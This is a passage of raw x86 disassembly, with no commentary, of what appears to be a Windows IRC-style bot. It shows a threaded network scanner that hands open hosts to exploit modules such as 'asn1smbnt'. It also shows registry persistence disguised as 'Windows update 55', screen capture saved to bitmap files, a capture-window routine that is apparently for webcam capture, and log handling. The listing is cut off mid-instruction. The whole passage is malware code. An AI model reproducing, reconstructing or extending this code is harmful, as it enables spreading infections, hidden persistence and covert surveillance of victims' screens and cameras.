loc_40303A: ; CODE XREF: .text:00402FEFj push esi call dword_44B758 ; closesocket jmp short loc_40306F ; --------------------------------------------------------------------------- loc_403043: ; CODE XREF: .text:0040300Dj push esi call dword_44B758 ; closesocket cmp word ptr [ebp-100EAh], 1 jnz short loc_403064 push offset aSocketOpen_ ; "Socket open." call sub_4035E1 pop ecx push 1 pop eax jmp short loc_403071 ; --------------------------------------------------------------------------- loc_403064: ; CODE XREF: .text:00403052j push offset aSocketClosed_ ; "Socket closed." loc_403069: ; CODE XREF: .text:00402FA3j call sub_4035E1 pop ecx loc_40306F: ; CODE XREF: .text:00403041j xor eax, eax loc_403071: ; CODE XREF: .text:00403062j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403076 proc near ; DATA XREF: sub_40328A+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call ds:dword_494308 push eax call sub_418FF0 mov ebx, esi pop ecx imul ebx, 234h loc_4030BD: ; CODE XREF: sub_403076+200j mov eax, dword_44D05C[ebx] cmp dword_4443BC[eax*8], 0 jz loc_40327B cmp [ebp+var_10], 0 push eax jz short loc_4030E7 lea eax, [ebp+var_150] push eax call sub_402D70 pop ecx jmp short loc_4030EC ; --------------------------------------------------------------------------- loc_4030E7: ; CODE XREF: sub_403076+60j call sub_402D28 loc_4030EC: ; CODE XREF: sub_403076+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_44D05C[ebx] push [ebp+var_3C] push edi call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call sub_418D70 lea eax, [ebp+var_28C] push eax lea eax, dword_44CE58[ebx] push eax call sub_418D70 push [ebp+var_38] push [ebp+var_3C] push edi call sub_402E0C add esp, 2Ch cmp eax, 1 jnz loc_40326B cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4031C0 push offset dword_445358 call ds:dword_494304 push [ebp+var_3C] push edi call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push eax call sub_418D70 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_4031A2 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_403196 lea eax, [ebp+var_140] loc_403196: ; CODE XREF: sub_403076+118j push eax push [ebp+var_40] call sub_40842D add esp, 14h loc_4031A2: ; CODE XREF: sub_403076+FDj lea eax, [ebp+var_28C] push eax call sub_4035E1 mov [esp+2A8h+var_2A8], offset dword_445358 call ds:dword_494300 jmp loc_40326B ; --------------------------------------------------------------------------- loc_4031C0: ; CODE XREF: sub_403076+CDj push edi call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_418D70 mov eax, [ebp+var_20] imul eax, 3Ch add eax, offset aAsn1smbnt ; "asn1smbnt" push eax lea eax, [ebp+var_178] push eax call sub_418D70 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_403204 lea eax, [ebp+var_140] loc_403204: ; CODE XREF: sub_403076+186j push eax lea eax, [ebp+var_1F8] push eax call sub_418D70 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_43615C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40326B: ; CODE XREF: sub_403076+C3j ; sub_403076+145j push 7D0h call ds:dword_4942D8 jmp loc_4030BD ; --------------------------------------------------------------------------- loc_40327B: ; CODE XREF: sub_403076+55j push esi call sub_416507 pop ecx push 0 call ds:dword_4942FC sub_403076 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40328A proc near ; DATA XREF: sub_40C50A+3310o ; sub_40C50A+513Bo var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_44B700 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4443B8[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_402994 push 8 call sub_416433 add esp, 150h cmp eax, ebx jnz short loc_403358 mov esi, offset dword_445358 push esi call ds:dword_494310 push 80000400h push esi call ds:dword_49430C test eax, eax jnz short loc_403358 lea eax, [ebp+var_1CC] push offset aScanFailedToIn ; "[SCAN]: Failed to initialize critical s"... push eax call sub_418D70 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_403342 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40842D add esp, 14h loc_403342: ; CODE XREF: sub_40328A+99j lea eax, [ebp+var_1CC] push eax call sub_4035E1 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_403358: ; CODE XREF: sub_40328A+63j ; sub_40328A+7Fj mov eax, [ebp+var_2C] mov esi, ds:dword_4942D8 mov edi, ebx mov dword_4443BC[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_403425 loc_403376: ; CODE XREF: sub_40328A+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax call sub_418D70 push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_4161EB mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_44D05C[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_403076 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_4033F0 loc_4033E5: ; CODE XREF: sub_40328A+164j cmp [ebp+var_4], ebx jnz short loc_403417 push 1Eh call esi jmp short loc_4033E5 ; --------------------------------------------------------------------------- loc_4033F0: ; CODE XREF: sub_40328A+159j call ds:dword_4942F0 push eax lea eax, [ebp+var_1CC] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push eax call sub_418D70 lea eax, [ebp+var_1CC] push eax call sub_4035E1 add esp, 10h loc_403417: ; CODE XREF: sub_40328A+15Ej push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_403376 loc_403425: ; CODE XREF: sub_40328A+E6j cmp [ebp+var_30], ebx jz loc_4034CF mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40343A: ; CODE XREF: sub_40328A+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4443B8[eax*8] push eax call dword_44B74C ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call sub_418D70 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_403488 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40842D add esp, 14h loc_403488: ; CODE XREF: sub_40328A+1DFj lea eax, [ebp+var_1CC] push eax call sub_4035E1 mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_4443BC[eax*8], ebx call esi push 8 call sub_416433 cmp eax, 1 pop ecx jnz short loc_4034BF push offset dword_445358 call ds:dword_494310 loc_4034BF: ; CODE XREF: sub_40328A+228j push [ebp+var_2C] call sub_416507 pop ecx push ebx call ds:dword_4942FC loc_4034CF: ; CODE XREF: sub_40328A+19Ej ; sub_40328A+25Dj mov eax, [ebp+var_2C] cmp dword_4443BC[eax*8], 1 jnz loc_40343A push 7D0h call esi jmp short loc_4034CF sub_40328A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034E9 proc near ; CODE XREF: sub_40C50A+44ACp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_44C2D8 mov edi, 0B8h loc_4034FD: ; CODE XREF: sub_4034E9+33j cmp byte ptr [esi], 0 jz short loc_403520 push [ebp+arg_0] push esi call sub_419360 pop ecx test eax, eax pop ecx jz short loc_403520 inc [ebp+var_4] add esi, edi cmp esi, offset dword_44CE58 jl short loc_4034FD jmp short loc_403562 ; --------------------------------------------------------------------------- loc_403520: ; CODE XREF: sub_4034E9+17j ; sub_4034E9+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_44C2D8[esi] push ebx call sub_4189A0 push 17h push [ebp+arg_0] push ebx call sub_4191A0 push 9Fh lea eax, dword_44C2F0[esi] push [ebp+arg_4] push eax call sub_4191A0 add esp, 24h inc dword_43E5BC pop ebx loc_403562: ; CODE XREF: sub_4034E9+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4034E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403569 proc near ; CODE XREF: sub_40C50A+5B4Cp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aAliasList ; "-[Alias List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h xor edi, edi mov esi, offset dword_44C2D8 loc_403593: ; CODE XREF: sub_403569+72j cmp byte ptr [esi], 0 jz short loc_4035CE lea eax, [esi+18h] push eax push esi push edi push offset aD_SS ; "%d. %s = %s" lea eax, [ebp+var_200] push 200h push eax call sub_418EF0 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 2Ch loc_4035CE: ; CODE XREF: sub_403569+2Dj add esi, 0B8h inc edi cmp esi, offset dword_44CE58 jl short loc_403593 pop edi pop esi leave retn sub_403569 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035E1 proc near ; CODE XREF: sub_4013F1+323p ; .text:00401A19p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call ds:dword_494314 mov ebx, offset dword_449C70 mov edi, 80h mov esi, offset dword_445C70 loc_403603: ; CODE XREF: sub_4035E1+3Dj cmp byte ptr [ebx], 0 jz short loc_40361A push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_4191A0 add esp, 0Ch loc_40361A: ; CODE XREF: sub_4035E1+25j sub ebx, edi cmp ebx, esi jge short loc_403603 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_418EF0 add esp, 28h pop edi pop esi pop ebx leave retn sub_4035E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403655 proc near ; CODE XREF: sub_40C22A+F7p ; sub_40C50A:loc_410739p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_4193F0 lea eax, [ebp+var_80] push eax call sub_4035E1 add esp, 14h leave retn sub_403655 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+14h], ebx push esi mov dword ptr [ebp-8], 80h mov [ebp-4], ebx jnz short loc_4036B0 push ebx push dword ptr [ebp+10h] push offset aLogs ; "-[Logs]-" push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40842D add esp, 14h loc_4036B0: ; CODE XREF: .text:00403697j cmp [ebp+18h], ebx jz short loc_4036C8 push dword ptr [ebp+18h] call sub_4195F0 cmp eax, ebx pop ecx mov [ebp-4], eax jz short loc_4036C8 mov [ebp-8], eax loc_4036C8: ; CODE XREF: .text:004036B3j ; .text:004036C3j mov [ebp+14h], ebx mov esi, offset dword_445C70 loc_4036D0: ; CODE XREF: .text:00403718j mov eax, [ebp+14h] cmp eax, [ebp-8] jge short loc_40371A cmp [esi], bl jz short loc_403709 cmp [ebp+18h], ebx jz short loc_4036F5 cmp [ebp-4], ebx jnz short loc_4036F5 push dword ptr [ebp+18h] push esi call sub_4099DA pop ecx test eax, eax pop ecx jz short loc_403709 loc_4036F5: ; CODE XREF: .text:004036DFj ; .text:004036E4j push 1 push dword ptr [ebp+10h] push esi push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40842D add esp, 14h loc_403709: ; CODE XREF: .text:004036DAj ; .text:004036F3j inc dword ptr [ebp+14h] add esi, 80h cmp esi, offset dword_449C70 jl short loc_4036D0 loc_40371A: ; CODE XREF: .text:004036D6j pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40371E proc near ; CODE XREF: sub_40C50A+5A43p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_445C70 xor ecx, ecx loc_403725: ; CODE XREF: sub_40371E+13j mov [eax], cl add eax, 80h cmp eax, offset dword_449C70 jl short loc_403725 cmp [esp+arg_C], ecx jnz short loc_403753 push ecx push [esp+4+arg_8] push offset aLogsCleared_ ; "[LOGS]: Cleared." push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_40842D add esp, 14h loc_403753: ; CODE XREF: sub_40371E+19j push offset aLogsCleared__0 ; "[LOGS]: Cleared." call sub_4035E1 pop ecx retn sub_40371E endp ; =============== S U B R O U T I N E ======================================= sub_40375F proc near ; CODE XREF: sub_4013F1+2B3p ; .text:004019A9p arg_0 = dword ptr 4 push esi mov esi, offset dword_445C70 loc_403765: ; CODE XREF: sub_40375F+27j cmp byte ptr [esi], 0 jz short loc_40377A push [esp+4+arg_0] push esi call sub_4099DA pop ecx test eax, eax pop ecx jnz short loc_40378C loc_40377A: ; CODE XREF: sub_40375F+9j add esi, 80h cmp esi, offset dword_449C70 jl short loc_403765 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40378C: ; CODE XREF: sub_40375F+19j push 1 pop eax pop esi retn sub_40375F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403791 proc near ; DATA XREF: sub_40C50A+5AF6o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_4037E4 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset aLogBegin ; "[LOG]: Begin" push eax push [ebp+var_11C] call sub_40842D add esp, 14h loc_4037E4: ; CODE XREF: sub_403791+33j cmp [ebp+var_98], 0 jz short loc_403804 lea eax, [ebp+var_98] push eax call sub_4195F0 test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_403804 mov [ebp+var_8], eax loc_403804: ; CODE XREF: sub_403791+5Aj ; sub_403791+6Ej and [ebp+arg_0], 0 mov esi, offset dword_445C70 loc_40380D: ; CODE XREF: sub_403791+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_403867 cmp byte ptr [esi], 0 jz short loc_403856 cmp [ebp+var_98], 0 jz short loc_40383C cmp [ebp+var_4], 0 jnz short loc_40383C lea eax, [ebp+var_98] push eax push esi call sub_4099DA pop ecx test eax, eax pop ecx jz short loc_403856 loc_40383C: ; CODE XREF: sub_403791+90j ; sub_403791+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_40842D add esp, 14h loc_403856: ; CODE XREF: sub_403791+87j ; sub_403791+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_449C70 jl short loc_40380D loc_403867: ; CODE XREF: sub_403791+82j lea eax, [ebp+var_31C] push offset aLogListComplet ; "[LOG]: List complete." push eax call sub_418D70 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_4038A1 push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_40842D add esp, 14h loc_4038A1: ; CODE XREF: sub_403791+EEj lea eax, [ebp+var_31C] push eax call sub_4035E1 push [ebp+var_18] call sub_416507 pop ecx pop ecx push esi call ds:dword_4942FC pop edi pop esi sub_403791 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038C0 proc near ; CODE XREF: sub_403930+4p ; sub_409D2E+1Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_4368D0 xor esi, esi mov ebx, offset aWindowsUpdate5 ; "Windows update 55" loc_4038D3: ; CODE XREF: sub_4038C0+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_44B674 ; RegCreateKeyExA cmp [ebp+arg_0], esi jz short loc_40390D push [ebp+arg_0] call sub_418E70 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_44B6E4 ; RegSetValueExA jmp short loc_403917 ; --------------------------------------------------------------------------- loc_40390D: ; CODE XREF: sub_4038C0+2Fj push ebx push [ebp+var_4] call dword_44B62C ; RegDeleteValueA loc_403917: ; CODE XREF: sub_4038C0+4Bj push [ebp+var_4] call dword_44B69C ; RegCloseKey add edi, 8 cmp edi, offset aDisplay ; "DISPLAY" jl short loc_4038D3 pop edi pop esi pop ebx leave retn sub_4038C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_403930 proc near ; CODE XREF: sub_403930+16j ; DATA XREF: sub_40BBCB+43Do arg_0 = dword ptr 4 push [esp+arg_0] call sub_4038C0 pop ecx push dword_4368C8 call ds:dword_4942D8 jmp short sub_403930 sub_403930 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403948 proc near ; CODE XREF: sub_40C50A+45CDp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_44B6AC ; CreateDCA mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_403B7C push 8 push edi call dword_44B6C8 ; GetDeviceCaps push 0Ah push edi mov [ebp+var_8], eax call dword_44B6C8 ; GetDeviceCaps push 0Ch push edi mov [ebp+var_C], eax call dword_44B6C8 ; GetDeviceCaps cmp eax, 8 mov [ebp+var_10], eax ja short loc_4039AA push 18h push edi call dword_44B6C8 ; GetDeviceCaps mov ebx, 100h jmp short loc_4039AC ; --------------------------------------------------------------------------- loc_4039AA: ; CODE XREF: sub_403948+50j xor ebx, ebx loc_4039AC: ; CODE XREF: sub_403948+60j push edi call dword_44B70C ; CreateCompatibleDC cmp eax, esi mov [ebp+var_4], eax jz loc_403B61 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_44B704 ; CreateDIBSection cmp eax, esi mov [ebp+var_1C], eax jz loc_403B6C push eax push [ebp+var_4] call dword_44B59C ; SelectObject cmp eax, esi jz loc_403B6C cmp eax, 0FFFFFFFFh jz loc_403B6C push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_44B708 ; BitBlt test eax, eax jz loc_403B6C cmp ebx, esi jz short loc_403A69 lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_44B5F0 ; GetDIBColorTable mov ebx, eax loc_403A69: ; CODE XREF: sub_403948+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call ds:dword_4942EC cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_403B4C lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call ds:dword_4942E4 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call ds:dword_4942E4 cmp ebx, esi jz short loc_403B2E lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call ds:dword_4942E4 loc_403B2E: ; CODE XREF: sub_403948+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call ds:dword_4942E4 push [ebp+arg_0] call ds:dword_4942E0 push 1 pop esi loc_403B4C: ; CODE XREF: sub_403948+1A2j push [ebp+var_1C] call dword_44B624 ; DeleteObject push [ebp+var_4] call dword_44B588 ; DeleteDC mov edi, [ebp+var_20] loc_403B61: ; CODE XREF: sub_403948+70j push edi call dword_44B588 ; DeleteDC mov eax, esi jmp short loc_403B7E ; --------------------------------------------------------------------------- loc_403B6C: ; CODE XREF: sub_403948+C7j ; sub_403948+D9j ... push edi call dword_44B588 ; DeleteDC push [ebp+var_4] call dword_44B588 ; DeleteDC loc_403B7C: ; CODE XREF: sub_403948+23j xor eax, eax loc_403B7E: ; CODE XREF: sub_403948+222j pop edi pop esi pop ebx leave retn sub_403948 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B83 proc near ; CODE XREF: sub_40C50A+4709p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_449C74 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_44B618 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_403BC1 mov eax, esi jmp loc_403D77 ; --------------------------------------------------------------------------- loc_403BC1: ; CODE XREF: sub_403B83+35j push edi call dword_44B660 ; IsWindow test eax, eax jz short loc_403BDE push ebx push [ebp+arg_4] push 40Ah push edi call dword_44B71C ; SendMessageA jmp short loc_403BE0 ; --------------------------------------------------------------------------- loc_403BDE: ; CODE XREF: sub_403B83+47j xor eax, eax loc_403BE0: ; CODE XREF: sub_403B83+59j cmp eax, ebx jnz short loc_403BEB loc_403BE4: ; CODE XREF: sub_403B83+88j ; sub_403B83+BCj mov ebx, esi jmp loc_403D6C ; --------------------------------------------------------------------------- loc_403BEB: ; CODE XREF: sub_403B83+5Fj push edi call dword_44B660 ; IsWindow test eax, eax jz short loc_403C08 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_44B71C ; SendMessageA loc_403C08: ; CODE XREF: sub_403B83+71j cmp [ebp+var_20], ebx jz short loc_403BE4 push edi call dword_44B660 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_403C2E push ebx push ebx push edi push [ebp+var_4] call dword_44B71C ; SendMessageA mov [ebp+arg_4], eax jmp short loc_403C31 ; --------------------------------------------------------------------------- loc_403C2E: ; CODE XREF: sub_403B83+98j mov [ebp+arg_4], ebx loc_403C31: ; CODE XREF: sub_403B83+A9j push [ebp+arg_4] call sub_416A10 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_403BE4 push [ebp+arg_4] call sub_416A10 mov esi, eax pop ecx cmp esi, ebx jnz short loc_403C58 push 1 pop ebx jmp loc_403D6C ; --------------------------------------------------------------------------- loc_403C58: ; CODE XREF: sub_403B83+CBj push [ebp+var_4] call dword_44B660 ; IsWindow test eax, eax jz short loc_403C75 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_44B71C ; SendMessageA loc_403C75: ; CODE XREF: sub_403B83+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_418A00 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_403C90 mov ecx, 280h loc_403C90: ; CODE XREF: sub_403B83+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_403C9C mov eax, 1E0h loc_403C9C: ; CODE XREF: sub_403B83+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_44B660 ; IsWindow test eax, eax mov edi, 42Dh jz short loc_403CE6 push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_44B71C ; SendMessageA loc_403CE6: ; CODE XREF: sub_403B83+153j push [ebp+var_4] call dword_44B660 ; IsWindow test eax, eax jz short loc_403D03 push ebx push ebx push 43Dh push [ebp+var_4] call dword_44B71C ; SendMessageA loc_403D03: ; CODE XREF: sub_403B83+16Ej push [ebp+var_4] call dword_44B660 ; IsWindow test eax, eax jz short loc_403D22 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_44B71C ; SendMessageA loc_403D22: ; CODE XREF: sub_403B83+18Bj push [ebp+var_4] call 